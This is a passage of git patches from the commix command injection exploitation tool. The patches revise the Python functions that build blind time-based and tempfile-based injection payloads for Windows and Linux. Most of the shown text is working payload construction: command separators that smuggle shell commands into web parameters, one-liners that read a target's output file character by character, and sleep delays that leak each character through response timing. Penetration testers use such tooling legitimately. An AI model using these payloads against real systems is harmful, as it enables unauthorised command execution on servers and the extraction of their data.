+ ")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -450,10 +438,10 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "sleep 0" + separator + + "sleep 0" + separator + # Use space as delimiter - "str=$(awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + ")" + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + "str=$(awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + ")" + separator + + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "sleep " + str(timesec) ) #if menu.options.data: @@ -472,7 +460,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http ) else: pass - + # return payload """ @@ -481,29 +469,27 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\"" - if separator == "||" : + if separator == "||" or separator == "|" : pipe = "|" - payload = (pipe + " " + payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + "" + payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" ) else: if separator == ";" : payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + @@ -513,7 +499,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t elif separator == "%0a" : #separator = "\n" payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + @@ -524,9 +510,9 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\")" + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator + + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) #if menu.options.data: @@ -535,7 +521,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\") ] " + separator + + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) else: @@ -556,25 +542,23 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t """ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : + if separator == "||" or separator == "|" : pipe = "|" - payload = (pipe + " " + payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " - "do if %i==" + str(ord(str(ascii_char))) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " - # "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" + "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + "" + payload = (ampersand + "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " - "do if %i==" + str(ord(str(ascii_char))) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " - # "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" + "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" ) else: @@ -601,9 +585,9 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "sleep 0" + separator + + "sleep 0" + separator + "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + - "[ " + str(ord(str(ascii_char))) + " -eq ${str} ] " + separator + + "[ " + str(ord(str(ascii_char))) + " -eq ${str} ] " + separator + "sleep " + str(timesec) ) #if menu.options.data: @@ -617,6 +601,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth ) else: pass + return payload @@ -626,29 +611,27 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\"" - if separator == "||" : + if separator == "||" or separator == "|" : pipe = "|" - payload = (pipe + " " + payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + "" + payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" ) else: if separator == ";" : payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + @@ -658,7 +641,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, elif separator == "%0a" : #separator = "\n" payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + @@ -669,9 +652,9 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") " + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator + + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) #if menu.options.data: @@ -680,7 +663,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") ] " + separator + + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) else: diff --git a/src/utils/settings.py b/src/utils/settings.py index e08bbaea8f..50bd7279f3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "90" +REVISION = "91" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 559db1e64b0987dd7b073c14ef5a9a2d3215ef47 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 24 Jun 2022 08:57:18 +0300 Subject: [PATCH 0169/1023] Improvements regarding Windows-based payloads for every supported technique. --- doc/CHANGELOG.md | 1 + .../techniques/time_based/tb_file_access.py | 3 +- .../blind/techniques/time_based/tb_handler.py | 2 +- .../techniques/time_based/tb_payloads.py | 40 +++++++++++-------- .../techniques/classic/cb_payloads.py | 10 ++--- .../techniques/eval_based/eb_payloads.py | 8 ++-- .../techniques/file_based/fb_payloads.py | 6 +-- .../tempfile_based/tfb_file_access.py | 3 +- .../techniques/tempfile_based/tfb_handler.py | 2 +- src/core/requests/requests.py | 4 +- src/utils/settings.py | 10 +++-- 11 files changed, 51 insertions(+), 38 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index e0f40c072b..eb600e96ab 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Revised: Improvements regarding Windows-based payloads for every supported technique. * Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads. * Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed. * Revised: Improvement regarding identifying injection marker (i.e. asterisk) in provided options. diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 6f42db0d7e..07506097cd 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -35,6 +35,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, _ = False file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == "win": + _ = True from src.core.injections.results_based.techniques.classic import cb_injector whitespace = settings.WHITESPACES[0] cmd = checks.change_dir(dest_to_write) @@ -53,7 +54,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) cmd = checks.check_file(dest_to_write) - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0 and not _: print(settings.SINGLE_WHITESPACE) check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index f3b277efef..d7c23e6ad6 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -210,7 +210,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) + sys.stdout.write("\r" + settings.print_bold_warning_msg(warn_msg)) while True: message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = common.read_input(message, default="C", check_batch=True) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 3af148ca52..fe5ab555d6 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -26,8 +26,9 @@ """ def decision(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "|" : - payload = (separator + + if separator == "||" or separator == "|" : + pipe = "|" + payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" @@ -96,8 +97,9 @@ def decision(separator, TAG, output_length, timesec, http_request_method): def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" - if separator == "|" : - payload = (separator + settings.SINGLE_WHITESPACE + + if separator == "||" or separator == "|" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + @@ -177,8 +179,9 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me """ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "|" : - payload = (separator + settings.SINGLE_WHITESPACE + + if separator == "||" or separator == "|" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + @@ -252,8 +255,9 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): """ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "|" : - payload = (separator + settings.SINGLE_WHITESPACE + + if separator == "||" or separator == "|" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + @@ -330,8 +334,9 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque """ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "|" : - payload = (separator + settings.SINGLE_WHITESPACE + + if separator == "||" or separator == "|" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\"" @@ -415,8 +420,9 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" - if separator == "|" : - payload = (separator + settings.SINGLE_WHITESPACE + + if separator == "||" or separator == "|" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + @@ -492,8 +498,9 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http """ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "|" : - payload = (separator + settings.SINGLE_WHITESPACE + + if separator == "||" or separator == "|" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + @@ -559,8 +566,9 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me """ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "|" : - payload = (separator + settings.SINGLE_WHITESPACE + + if separator == "||" or separator == "|" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index 038538e68b..fa7e60c0c9 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -27,13 +27,13 @@ def decision(separator, TAG, randv1, randv2): if settings.TARGET_OS == "win": if settings.SKIP_CALC: payload = (separator + - "echo " + TAG + TAG + TAG + " Date: Sat, 25 Jun 2022 12:13:19 +0300 Subject: [PATCH 0170/1023] Minor fixes / updates --- .../blind/techniques/time_based/tb_handler.py | 16 ++++++------ .../techniques/time_based/tb_injector.py | 15 +++++++---- .../techniques/time_based/tb_payloads.py | 24 ++++++++--------- src/core/injections/controller/checks.py | 26 +++++++++++++------ .../techniques/file_based/fb_handler.py | 12 +++------ .../techniques/tempfile_based/tfb_handler.py | 16 ++++++------ .../techniques/tempfile_based/tfb_injector.py | 16 +++++++----- .../techniques/tempfile_based/tfb_payloads.py | 24 ++++++++--------- src/core/requests/requests.py | 2 +- src/utils/settings.py | 2 +- 10 files changed, 84 insertions(+), 69 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index d7c23e6ad6..b363373d80 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -208,11 +208,11 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Identified false positive warning message. if false_positive_warning: - warn_msg = "Unexpected time delays have been identified due to unstable " - warn_msg += "requests. This behavior may lead to false-positive results.\n" - sys.stdout.write("\r" + settings.print_bold_warning_msg(warn_msg)) + message = "Unexpected time delays have been identified due to unstable " + message += "requests. This behavior may lead to false-positive results. " + sys.stdout.write("\r") while True: - message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": @@ -288,10 +288,10 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue - if settings.VERBOSITY_LEVEL == 0: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + # if settings.VERBOSITY_LEVEL == 0: + # info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + # sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + # sys.stdout.flush() except (KeyboardInterrupt, SystemExit): print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index bfcf1dbdfb..2a6b4056ed 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -368,7 +368,11 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese timesec = timesec + random.randint(1, 5) # Checking the output length of the used payload. + if settings.VERBOSITY_LEVEL == 0: + sys.stdout.write(".") for output_length in range(1, 3): + if settings.VERBOSITY_LEVEL == 0: + sys.stdout.write(".") # Execute shell commands on vulnerable host. if alter_shell: payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) @@ -432,7 +436,8 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese is_valid = False for num_of_chars in range(1, int(num_of_chars)): for ascii_char in range(1, 20): - + if settings.VERBOSITY_LEVEL == 0: + sys.stdout.write(".") if alter_shell: # Get the execution output, of shell execution. payload = tb_payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) @@ -491,12 +496,12 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese output = "".join(str(p) for p in output) if str(output) == str(randvcalc): + if settings.VERBOSITY_LEVEL == 0: + sys.stdout.write(" (done)") return how_long, output + else: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "False positive or unexploitable injection point detected." - print(settings.print_warning_msg(warn_msg)) + checks.unexploitable_point() """ diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index fe5ab555d6..fd7a9446cb 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -26,12 +26,12 @@ """ def decision(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" ) elif separator == "&&" : @@ -40,7 +40,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" ) else: @@ -97,7 +97,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -179,13 +179,13 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me """ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" ) elif separator == "&&" : @@ -195,7 +195,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" ) else: @@ -255,7 +255,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): """ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in 